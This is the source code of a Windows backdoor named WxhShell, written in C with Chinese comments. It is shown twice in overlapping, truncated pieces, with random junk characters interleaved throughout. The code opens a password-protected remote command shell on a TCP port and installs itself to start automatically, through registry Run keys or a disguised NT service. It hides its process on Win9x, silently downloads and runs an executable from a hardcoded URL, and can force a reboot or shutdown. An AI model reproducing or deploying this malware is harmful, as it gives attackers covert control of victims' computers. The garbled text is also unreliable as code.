^DjEdUN DWORD BasePriority; 5L8&/EN9- ULONG UniqueProcessId; ,4[dLWU ULONG InheritedFromUniqueProcessId; H&M1>JtE } PROCESS_BASIC_INFORMATION; Vy__b=ti? LO)GTyzvJ PROCNTQSIP NtQueryInformationProcess; pmD4j8F_ kw*)/$5] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (a[.vw^g static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !O|ql6^; "'m)VG HANDLE hProcess; l^\(ss0~ PROCESS_BASIC_INFORMATION pbi; Q]@c&* _| m`z7fi7u HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LheFQ A if(NULL == hInst ) return 0; B`fH^N @Mm/C?#*O g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Hou*lCA g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4o<*PPA1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YTK^ijmU6x ;B~P>n}}_] if (!NtQueryInformationProcess) return 0; Ojq]HM6f F$Hx`hoy hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gV8"VZg2 if(!hProcess) return 0; g+xw$A ou 8-m
3e if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; afHaB/t{R ef=K_,
_ CloseHandle(hProcess); 4:7m K/Z `1Zhq+s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )tS-.P rA- if(hProcess==NULL) return 0; yhpz5[AuO kZLMtj- HMODULE hMod; V|'1tB=;*1 char procName[255]; ]ab#q= unsigned long cbNeeded; b7HffO O |t))u`~ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9'nH2,_ <_Eg?ePW# CloseHandle(hProcess); j(eFoZz, Ye5jB2Z
if(strstr(procName,"services")) return 1; // 以服务启动 Kc #|Z .m;G$X|3U return 0; // 注册表启动 [!^-J}^g~\ } 0)Rw|(Fpo] #Fu>|2F| // 主模块 y[O-pD` int StartWxhshell(LPSTR lpCmdLine) kCUT ^ { XT,#g-oi SOCKET wsl; wA`"\MWm BOOL val=TRUE; ED$DSz)x int port=0; WxbsD S; struct sockaddr_in door; Gjz[1d 5FC4@Ms` if(wscfg.ws_autoins) Install(); kC$&:\Rh 6AN)vs} port=atoi(lpCmdLine); Je4Z(kj 0 Pw@olG'Ah if(port<=0) port=wscfg.ws_port; +*&cz oK+
WF WSADATA data; /?"8-0d if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ql5x2n IGFGa@C if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `-B+JQmen setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r^HAa GpC door.sin_family = AF_INET; /T0nLp`gi door.sin_addr.s_addr = inet_addr("127.0.0.1"); *.f2VQ~H door.sin_port = htons(port); C9Bh@v%90^ AF4?IH if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l{P\No closesocket(wsl); oJ*1>7[ J return 1; 2aNT#J"_ } yy2Ie ,7|;k2 if(listen(wsl,2) == INVALID_SOCKET) { mnF}S5[9 closesocket(wsl); TUp%FJXA| return 1; j<tq1?? [b } =lr) gj Wxhshell(wsl); RE46k`44 WSACleanup(); 9x~-*8aw =G-N`
39 return 0; v.Ogf5 0vs0*;F; } !UV5zmS #P2;K
dDO // 以NT服务方式启动 ;5|1M8]=0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nl/UdgI { ro| vh\y DWORD status = 0; 96|[}:+$&: DWORD specificError = 0xfffffff; X=p"5hhfn M<8ML!N0;t serviceStatus.dwServiceType = SERVICE_WIN32; <"&'>?8j serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3"
Vd==oK~ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1]4^V7y serviceStatus.dwWin32ExitCode = 0; x%BF{Sw serviceStatus.dwServiceSpecificExitCode = 0; ^nDal':* serviceStatus.dwCheckPoint = 0; AO0!liQ serviceStatus.dwWaitHint = 0; *:_~Nn9_R; :.IN?X hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~I_owCVZ if (hServiceStatusHandle==0) return; BD;H
g@nk.aRw status = GetLastError(); |KG&HNfP- if (status!=NO_ERROR) gT1P*N;v { (6xDu.u?A serviceStatus.dwCurrentState = SERVICE_STOPPED; CJw$j`k serviceStatus.dwCheckPoint = 0; *v #/Y9} serviceStatus.dwWaitHint = 0; z: G}>fk5 serviceStatus.dwWin32ExitCode = status; $iMC/Kym serviceStatus.dwServiceSpecificExitCode = specificError; {sc[RRN~C SetServiceStatus(hServiceStatusHandle, &serviceStatus); `bP?o return; `^8*<+ } zNtq"T [ w7Dt1axB serviceStatus.dwCurrentState = SERVICE_RUNNING; IcoowZZ serviceStatus.dwCheckPoint = 0; *6*-WV6 serviceStatus.dwWaitHint = 0; n9}RW;N+u if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pieT'mA } ?JqjYI{$ /7p>7q9g // 处理NT服务事件,比如:启动、停止 O-GxUHwWr VOID WINAPI NTServiceHandler(DWORD fdwControl) \graMu}- { sd!sus|( R switch(fdwControl) 1X@b?6 { #<#%>Y^ case SERVICE_CONTROL_STOP: B_~jA%0m' serviceStatus.dwWin32ExitCode = 0; jH0Bo; serviceStatus.dwCurrentState = SERVICE_STOPPED; YBylyVZ serviceStatus.dwCheckPoint = 0; d.\PS9l serviceStatus.dwWaitHint = 0; /2w@K_Px6 { #]zhZW4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); nLd~2qBuv } 5bfb!7-[i return; hWxT ! case SERVICE_CONTROL_PAUSE: aL)Hv k: serviceStatus.dwCurrentState = SERVICE_PAUSED; U"x~Jb3]O break; j`9Nwa case SERVICE_CONTROL_CONTINUE: d pn3 ( serviceStatus.dwCurrentState = SERVICE_RUNNING; ak2dn]]D break; ADBpX> case SERVICE_CONTROL_INTERROGATE: E\!n49 break; 5B|,S1b }; C1ZyB"{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d$Em\*C } =c]a
{|W? )k~1, // 标准应用程序主函数 msG3~@q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UT;4U;a,m { g< )72-h MiD // 获取操作系统版本 xN"wF-s4? OsIsNt=GetOsVer(); <?4cWp|i GetModuleFileName(NULL,ExeFile,MAX_PATH); ?%;B`2 nDR >]?Jrs // 从命令行安装 ;_p fwa4 if(strpbrk(lpCmdLine,"iI")) Install(); TK %<a/ *o2#eI // 下载执行文件
2$)mC9 if(wscfg.ws_downexe) { $owb3g(%4 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N6BNzN}-P WinExec(wscfg.ws_filenam,SW_HIDE); G{O\)gf } ;"SZ} $2is3;h if(!OsIsNt) { <vLdBfw&N // 如果时win9x,隐藏进程并且设置为注册表启动 /pU|ZA.z'2 HideProc(); )O -cw7 > StartWxhshell(lpCmdLine); sSy$(% } h,.fM}=H else QA! #s\ if(StartFromService()) QSv^l-< // 以服务方式启动 -O /T?H StartServiceCtrlDispatcher(DispatchTable); 1V0sl0i4 else a>?p.!BM // 普通方式启动 *{Yi}d@h( StartWxhshell(lpCmdLine); <B=[hk! k_BSY=$e*D return 0; [xWEf#', ! } LVoyA/F /t$*W\PL@ pOX$4$VR< nrF!;:x =========================================== PRZ8X{h )ph30B ,5=kDw2 S;>4i!Mb
^ f@h2;An$w prqT (1 " Q|Nzbmwh qT"drgpi3 #include <stdio.h> T<XfZZ)l<` #include <string.h> ~K_ ]N/ > #include <windows.h> |1lf(\T_ #include <winsock2.h> Imke/ =h #include <winsvc.h> WI0QLR' #include <urlmon.h> 5"$e=y/ 6W]OpM #pragma comment (lib, "Ws2_32.lib") kHGeCJe\{ #pragma comment (lib, "urlmon.lib") KUlB2Fqi L,E-z_<p #define MAX_USER 100 // 最大客户端连接数 'w'Dwqhmr #define BUF_SOCK 200 // sock buffer %Fs*#S #define KEY_BUFF 255 // 输入 buffer 8?A@/ >).@Nb;e #define REBOOT 0 // 重启 YGfA qI
y #define SHUTDOWN 1 // 关机 E1^aAlVSD =7F E/S #define DEF_PORT 5000 // 监听端口 FK-}i|di M\9at\$ #define REG_LEN 16 // 注册表键长度 <zfO1~^ #define SVC_LEN 80 // NT服务名长度 _'H2>V_ +GRxHuW, // 从dll定义API h_AJI\{" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UIO6|*ka typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X77A; US typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f:n] Exsy typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N9`y,Cos0 |*lH9lWJ // wxhshell配置信息 yW%&_s0 struct WSCFG { :yd=No@ int ws_port; // 监听端口 zNNzsT8na char ws_passstr[REG_LEN]; // 口令 #Y/97_2 xa int ws_autoins; // 安装标记, 1=yes 0=no We[<BJo4 char ws_regname[REG_LEN]; // 注册表键名 H?rSP0. char ws_svcname[REG_LEN]; // 服务名 H4P\hOK7r char ws_svcdisp[SVC_LEN]; // 服务显示名 rdORNlK& char ws_svcdesc[SVC_LEN]; // 服务描述信息
=~,$V<+c
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #k"1wSx16 int ws_downexe; // 下载执行标记, 1=yes 0=no /&~nM char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =4YbVA+( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 , LCH2r zyIza @V( }; V`WI"HO+ SIKk|I) // default Wxhshell configuration ]s1TJw [B struct WSCFG wscfg={DEF_PORT, fs]#/* RR "xuhuanlingzhe", [d!Af4 1,
s98: *o3 "Wxhshell", >qSO,$ "Wxhshell", 1C^HCIH7J "WxhShell Service", ?AqrlR]5 "Wrsky Windows CmdShell Service", Y2RxD\!Z "Please Input Your Password: ", AlPL;^Y_l 1, `XQx$I "http://www.wrsky.com/wxhshell.exe", ;g;,%jdCS "Wxhshell.exe" |U;w !0 }; $bF`PGR_ h$#4ebp // 消息定义模块 &-EyM*:u! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )?=
kb char *msg_ws_prompt="\n\r? for help\n\r#>"; *so6]+)cU char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &F@tmM~ char *msg_ws_ext="\n\rExit."; {[(W4NAlH char *msg_ws_end="\n\rQuit."; aufcd57 char *msg_ws_boot="\n\rReboot..."; E
6>1Fm8%V char *msg_ws_poff="\n\rShutdown..."; rRF+\cP?. char *msg_ws_down="\n\rSave to "; DYy@t^sC ND)M3qp2( char *msg_ws_err="\n\rErr!"; BP7<^`i& char *msg_ws_ok="\n\rOK!"; "GIg|3 rm7*l<v6 char ExeFile[MAX_PATH]; W#oEF/G int nUser = 0; m \R@.jkZ HANDLE handles[MAX_USER]; (+]Ig> t int OsIsNt; ynOc~TN UC?2mdLt^ SERVICE_STATUS serviceStatus; LiHXWi{s SERVICE_STATUS_HANDLE hServiceStatusHandle; ul5:: l:k E^ =6 // 函数声明 h:US]ZC^Z int Install(void); x r+E int Uninstall(void); dxae2 tV int DownloadFile(char *sURL, SOCKET wsh); V.E.~<7D\ int Boot(int flag); ;1(qGy4 void HideProc(void); %Pt[3> int GetOsVer(void); W+-f ` int Wxhshell(SOCKET wsl); R, (+NT$ void TalkWithClient(void *cs); E`sapk int CmdShell(SOCKET sock); SbQ{ > int StartFromService(void); e-T9HM&%P int StartWxhshell(LPSTR lpCmdLine); plz=G}Y :u|UVp5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G41$oalQ1 VOID WINAPI NTServiceHandler( DWORD fdwControl ); B=nx8s l*V72!Mv // 数据结构和表定义 JqH.QnKcv SERVICE_TABLE_ENTRY DispatchTable[] = M#22Zfxq { U%SNROj {wscfg.ws_svcname, NTServiceMain}, z<C~DH {NULL, NULL} G@l|u }; a}+_Yo(Q nG(|7x // 自我安装 5D q{"@E int Install(void) b "AHw?5F { B1AF4}~5 char svExeFile[MAX_PATH]; BfO}4 HKEY key; 0^tJX1L strcpy(svExeFile,ExeFile); a6K$omu r%?}5"* // 如果是win9x系统,修改注册表设为自启动 c+
H)1Dfq if(!OsIsNt) { &b#NF1Q. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hJtghG6v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NIcNL(] RegCloseKey(key); ?)ZLxLV:: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =F;^^VX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %>QSeX RegCloseKey(key); xdSj+507 return 0; UW~tS } [E&"9%K } N6 Cc%, } r;s3(@[,@ else { #
v/aI*Rl @eD2<e // 如果是NT以上系统,安装为系统服务 6-E4)0\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ql!6I ( if (schSCManager!=0) ckkM)|kK { [_z2z6 SC_HANDLE schService = CreateService 'Y/V9;`)s ( 75cr!+ schSCManager, (0S7 wscfg.ws_svcname, o5uwa{v wscfg.ws_svcdisp, H_^c K SERVICE_ALL_ACCESS, tHeLq*)) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <Vb{QOgc; SERVICE_AUTO_START, J;dFmZOk SERVICE_ERROR_NORMAL, *Q?HaG|S svExeFile, yM@cml6Ox NULL, Z)%p,DiNM NULL, 75f.^4/% NULL, DP_ \%(A NULL, da@
.J9 NULL QR4o j ); 6s;x@g] if (schService!=0) 7Z_iQ1 { l<+k[@Vox CloseServiceHandle(schService); XJ9>a-{ CloseServiceHandle(schSCManager); .anL}OA_q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ai;Pht9qi strcat(svExeFile,wscfg.ws_svcname); ZUycJ-[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |wx1
[xZ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _[W=1bGJ RegCloseKey(key); iKwVYL return 0; 0/$sr; } _ 17"T0 } P;34Rd CloseServiceHandle(schSCManager); xlAaIo)T } XJ"9D#"a> } Ad `IgZ l}x{.q7Ul return 1; F+GQ l } rk|6!kry 9YKEME+: // 自我卸载 sdLFBiR int Uninstall(void) f[w$3 { hjE9[{K HKEY key; 0^=S:~G 7_RU*U^ if(!OsIsNt) { u8*0r{kOH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JsV#: RegDeleteValue(key,wscfg.ws_regname); aozk,{9- RegCloseKey(key); vzL>ZBeZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X^ovP'c2 RegDeleteValue(key,wscfg.ws_regname); Po5}Vh RegCloseKey(key); N|DY)W return 0; x;+,lP } QO8/?^d } m +gVGK
} 2}NfR8
N else { 7Ny>W(8 9} vWTt0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *G9;d0 if (schSCManager!=0) xsfq[}eH< { fqcyCu7Ep SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L@/+u+j0 if (schService!=0) @wo9;DW` { }5~;jN=k if(DeleteService(schService)!=0) { 1yhx)m;f CloseServiceHandle(schService); eu#| | CloseServiceHandle(schSCManager); H Q2-20 return 0; nP}/#Wy } xe5>)\18- CloseServiceHandle(schService); ?B-aj } (k[<>$hL* CloseServiceHandle(schSCManager); bc+'n } h.67]U7m } })J]D~!p 69_c,(M0 return 1; 0Vg8o @ } ^0r@", j#-74{Y$
J // 从指定url下载文件 f`?|A
int DownloadFile(char *sURL, SOCKET wsh) * 6uiOtH { Q[}mH: w HRESULT hr; C4b3ZcD2 char seps[]= "/"; ~ WVrtY Ju char *token; $hA[vi\5 char *file; P|G:h& char myURL[MAX_PATH]; Cu0 /TeEM char myFILE[MAX_PATH]; W] RxRdY6[ EB)0 iQ strcpy(myURL,sURL); M,l
Ib9 token=strtok(myURL,seps); vwP83b0ov" while(token!=NULL) ^fRA$t { HbCM{A9 file=token; S:Hg
=|R token=strtok(NULL,seps); r|
YuHm } (Y-7B r l!c\ GetCurrentDirectory(MAX_PATH,myFILE); !W8$-iq strcat(myFILE, "\\"); yXlzImPn strcat(myFILE, file); d
kPfdK}G send(wsh,myFILE,strlen(myFILE),0); RsY|V|< send(wsh,"...",3,0); KpSHf9!&[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %h3CQk if(hr==S_OK) !)ee{CwNc return 0; e5MX5 T^ else >i=mw5`D] return 1; )bqO}_B xaejG/'iK } EFV'hMjS) sY=$\hj // 系统电源模块 $n!saPpxS int Boot(int flag) Rs7=v2>I { I9H+ $Wjd HANDLE hToken; 5v8_ji#l[ TOKEN_PRIVILEGES tkp; xoPpu
}VdohX- if(OsIsNt) { mI@]{K}Q% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )V} t(>V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YS%HZFY, " tkp.PrivilegeCount = 1; $GEY*uIOa tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !fjDO!,! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .XTBy/(0 if(flag==REBOOT) { "4|D"|wI) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j$siCsF return 0; d_]zX;_ } &")ON[|b else { K'Wg_ihA if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pvD\E return 0; YR^J7b\ } UOi8>;k` } 7vubkj& else { 8 YsDE_ if(flag==REBOOT) { )u`q41! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7NE"+EP\{2 return 0; <x *.M"6? } 3a_~18W else { -xPv]j$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a"4j9cO return 0; ?vp'
/l" } B;@7 } 7='lu;=, 4f:B 2x{ return 1; HM/2/
/ } vlY83mU. 3dTz$s/[ // win9x进程隐藏模块 ]nY,%XE void HideProc(void) 9@/X;zO { Lk9X>`b#B pX `BDYg. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YzNSZJPD if ( hKernel != NULL ) * G!C 'w\$ { t2uX+1F pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 50q(8F-N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ii FeO FreeLibrary(hKernel); pyJY]"UHVE } 3|x*lmit #eadkj#; return; gqJSz}' } yyB;'4Af p8,Rr{ // 获取操作系统版本 K%iWUl; int GetOsVer(void) BJC$KmGk { jwhc;y OSVERSIONINFO winfo; KcKdhqdN- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (dmLEt GetVersionEx(&winfo); }@6ws/5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bl yU53g return 1; xU<WUfS1 else i7D[5! return 0; D y+)s-8 } ]t0]fb[J b?i5C4=K // 客户端句柄模块 ~j3O0s<gK int Wxhshell(SOCKET wsl) %x{jmZ$} { ETZE.a SOCKET wsh; qHVZsZ struct sockaddr_in client; 69< <pm,m DWORD myID; k6eh$*! hNU$a?eVpR while(nUser<MAX_USER) t^Z-0jH { t?1b(oJ int nSize=sizeof(client); gI~B _0x wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "qh~wK J if(wsh==INVALID_SOCKET) return 1; cvOCBg38BH gug9cmA/Q7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gpT~3c;l= if(handles[nUser]==0) Rp^fY_ closesocket(wsh); qkXnpv else *? V boyU nUser++; @=<B8VPJd } h4ozwVA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m3#rU%Wj 5]f6YlJZ return 0; wE~&Y?^ } !}lCwV {<cL@W // 关闭 socket gUr#3# void CloseIt(SOCKET wsh) w`YN#G { x`:c0y9uG closesocket(wsh); %fuV] nUser--; v`r![QpYf ExitThread(0); 1S+lHG92I } "LNLM L}=DC =E // 客户端请求句柄 Uee(1 void TalkWithClient(void *cs) y
g:&cIr, { YMn*i<m iV5S[uy72. SOCKET wsh=(SOCKET)cs; mY[*(a char pwd[SVC_LEN]; <2af&-EGs char cmd[KEY_BUFF]; d`UK mj char chr[1]; SM8f"H28 int i,j; gNJdP!(t $[g#P^ while (nUser < MAX_USER) { JU#m?4g <Nk:C1Op} if(wscfg.ws_passstr) { NTo[di\_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e I9#JM|2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R`J.vMT //ZeroMemory(pwd,KEY_BUFF); |~o0-: 'C i=0; >,ABE2t5 while(i<SVC_LEN) { O\SH;y,N WMa`!Q // 设置超时 6 w'))Z fd_set FdRead; nAC>']K4$ struct timeval TimeOut; O!ilTMr FD_ZERO(&FdRead); QHxof7 FD_SET(wsh,&FdRead); Z,tHyyF?j TimeOut.tv_sec=8; p, T4BO TimeOut.tv_usec=0; b<%c ]z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -'F27]) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LzxO=+=9!q DheQcM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )HcLpoEi pwd=chr[0]; 6L;]5)# if(chr[0]==0xd || chr[0]==0xa) { .D*~UI pwd=0; )PkW,214# break; 7GTDe'T } / ykc`E?f i++; hQ}_(F_H } (d/!M
n6L .Cf!5[0E // 如果是非法用户,关闭 socket l-P6B9e|\ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;%Px~g } FUf.3@} p6aR/gFkqv send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x]@z.Yj send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); } '?qUy3x 7l ,f while(1) { 6$0<&')Yb 8#\|Y~P ZeroMemory(cmd,KEY_BUFF); fC3T\@(& _Hd|y // 自动支持客户端 telnet标准
2;j<{' j=0; hs5>Gx while(j<KEY_BUFF) { in5e * if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TtF+~K cmd[j]=chr[0]; ?68~ g<d, if(chr[0]==0xa || chr[0]==0xd) { zVa&4 T- cmd[j]=0; _n/73Oh break; pF7N = mO } OrYN-A4{ j++; s7HKgj } vcsSi%M\U hv?T}E // 下载文件 [& Z-
*a if(strstr(cmd,"http://")) { PO8Z2"WI send(wsh,msg_ws_down,strlen(msg_ws_down),0); j "'a5;Sy if(DownloadFile(cmd,wsh)) o2=):2x
r{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); gL-kI*Ra else <i4]qO(0u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wViTMlq } !tt 8-Y)i else { h=,hYz?] Zs{7km switch(cmd[0]) { Lui6;NY H8I)D& cw // 帮助 tk R~(h case '?': { tq~4W% p/ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CuH4~6 break; ?P-O4 } )DhE~ // 安装 \Cu=Le^ case 'i': { xEurkR if(Install()) auc:|?H~1n send(wsh,msg_ws_err,strlen(msg_ws_err),0); }nX0h6+1 else ;Z"MO@9: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p<(a);<L break; Jz>P[LcB } R;pW,]}g, // 卸载 t6\H case 'r': { 1HKA`]D"p if(Uninstall()) eOiH7{OA, send(wsh,msg_ws_err,strlen(msg_ws_err),0); i9zh
X1# else ZP!.C&O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JZ`SV}\` break; HEbL'fw^s } Iy49o! // 显示 wxhshell 所在路径 b9vudr case 'p': {
q/ Y4/ char svExeFile[MAX_PATH]; d@g2 9rs strcpy(svExeFile,"\n\r"); G-2~$ u strcat(svExeFile,ExeFile); -k7b#
+T send(wsh,svExeFile,strlen(svExeFile),0); h6?^rS8U break; '%t$mf!nV } &WBpd}|+Y // 重启 |v%$Q/zp& case 'b': { P$Vh{]4i{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e|~{X\l if(Boot(REBOOT)) "lu^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); MYvz%7 else { C(v'7H{4cW closesocket(wsh); _g/d/{-{Q ExitThread(0); Yb5@W/' } &odQ&%X break; Jj[3rt?8 } XrTc5V // 关机 {'A
15 case 'd': { o
g9|}E> send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q`{@@[/(y if(Boot(SHUTDOWN)) 9 c9$cnQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); w^&UMX} else { qXq#A&
closesocket(wsh); yC5>k;/6#K ExitThread(0); uKXU.u*C } aC1 xt( break; > `eo 0 } rU"AO}6\@ // 获取shell 85io%>&0 case 's': { +Xr87x; CmdShell(wsh); gtb,}T=1 closesocket(wsh); bcprhb ExitThread(0); o{
\r1<D break; _/[(&}M } w8AHs/'r // 退出 F1zsGlObu} case 'x': { e~BUAz send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ww{07g CloseIt(wsh); iX'#~eK*< break; :.EVvuXI } ZzO.s$ // 离开 \>XkK<ye case 'q': { baM@HpMhM send(wsh,msg_ws_end,strlen(msg_ws_end),0); /3v`2=b closesocket(wsh); L[:b\O/p, WSACleanup(); 3/((7O[ exit(1); V\o&{7! break; 0j|JyS:}G } @460r } Gl>_C@n0h } !tofO|E5 .Cf`D tK // 提示信息 y]ZujfW7 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .EoLJHL
} } 8klu* } )y}W=Q>T 4~/3MG return; 9"~,ha7S$ } h wfKgsm jPNm $Y1 // shell模块句柄 4 '6HX#J int CmdShell(SOCKET sock) U
ORoj )$I { [P23.`G~J STARTUPINFO si; <O?UC/$)7 ZeroMemory(&si,sizeof(si)); H-.8{8 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4#y si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n~NOqvT < PROCESS_INFORMATION ProcessInfo; a5xp[TlXn. char cmdline[]="cmd"; `[Xff24(eb CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A5> ,e| return 0; |cE 69UFB } zcNv T ta 66AEc9 // 自身启动模式 PxHHh{y%c int StartFromService(void) Os-sYaW { H|0GRjC typedef struct AlRng&o~ { IvyBK]{| DWORD ExitStatus; @eGJ_ J DWORD PebBaseAddress; 2U;ImC1g DWORD AffinityMask; tk
<R|i
DWORD BasePriority; &qP&=( $ ULONG UniqueProcessId; u;qBW
uO ULONG InheritedFromUniqueProcessId; xui.63/ } PROCESS_BASIC_INFORMATION; 0
))W [ +MfdZD PROCNTQSIP NtQueryInformationProcess; Sc zYL?w^ GwoN= static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tb-:9*2j- static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AG$S;)Yl9c ]dKLzW:l HANDLE hProcess; '4nR ^, PROCESS_BASIC_INFORMATION pbi; eD4o8[s *h>KeIB; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]D;X"2I2'b if(NULL == hInst ) return 0; ED={OZD8 C&vUZa[p g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q,mmHw.`J g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VY5/C;0^h NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KPOr8=Rc _cY!\' if (!NtQueryInformationProcess) return 0; Kf$%C" TYQ7jt0=.- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IE-c^'W=}m if(!hProcess) return 0; I(*4N^9++ O!D0hW4 if(NtQueryInformationProcess( hProcess, 0, 